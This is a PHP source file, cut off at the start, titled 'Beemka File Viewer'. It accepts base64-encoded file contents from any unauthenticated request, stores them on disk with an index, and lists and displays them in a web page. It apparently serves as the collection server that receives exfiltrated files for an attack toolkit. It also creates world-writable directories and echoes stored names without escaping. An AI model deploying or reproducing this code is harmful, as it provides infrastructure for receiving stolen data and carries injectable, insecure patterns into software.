storage = $storage;
$this->indexFullPath = $this->storage . $this->indexFilename;
$this->setup();
$this->loadIndex();
}
protected function loadIndex()
{
$this->files = [];
if (!file_exists($this->indexFullPath)) {
return true;
}
$list = array_filter(
explode(PHP_EOL, file_get_contents($this->indexFullPath)),
function ($f) {
return !empty($f);
}
);
foreach ($list as $item) {
list($index, $path) = explode($this->indexSeparator, $item);
$this->files[$index] = $path;
}
return true;
}
protected function setup()
{
if (!is_dir($this->storage)) {
mkdir($this->storage, 0777, true);
if (!is_dir($this->storage)) {
throw new Exception('Could not create storage path: ' . $this->storage);
}
} elseif (!is_writable($this->storage)) {
throw new Exception($this->storage . ' is not writable');
}
}
public function saveFile($file, $data)
{
$newName = time() . '_' . md5(rand(1, 10000)) . '.txt';
file_put_contents($this->storage . $newName, base64_decode($data));
//file_put_contents($this->storage . $newName, $data);
file_put_contents($this->indexFullPath, $newName . $this->indexSeparator . $file . PHP_EOL, FILE_APPEND);
return true;
}
public function getFileData($file)
{
if (!isset($this->files[$file])) {
return '';
}
return file_get_contents($this->storage . $file);
}
public function getContentsHTML()
{
$html = [];
$html[] = '';
foreach ($this->files as $index => $path) {
$html[] = "- {$path}
";
}
$html[] = '
';
return implode(PHP_EOL, $html);
}
}
$storage = rtrim($storage, "\\/") . DIRECTORY_SEPARATOR;
$fileStorage = new FileStorage($storage);
$file = isset($_REQUEST[$paramFile]) ? trim($_REQUEST[$paramFile]) : '';
$data = isset($_REQUEST[$paramData]) ? trim($_REQUEST[$paramData]) : '';
if (!empty($file) && !empty($data)) {
$fileStorage->saveFile($file, $data);
die();
}
if (isset($_GET['index'])) {
echo $fileStorage->getContentsHTML();
die();
}
$view = isset($_GET['view']) ? trim($_GET['view']) : '';
$fileData = $fileStorage->getFileData($view);
?>
Beemka File Viewer
| Files |
Contents |
|
getContentsHTML(); ?>
|
|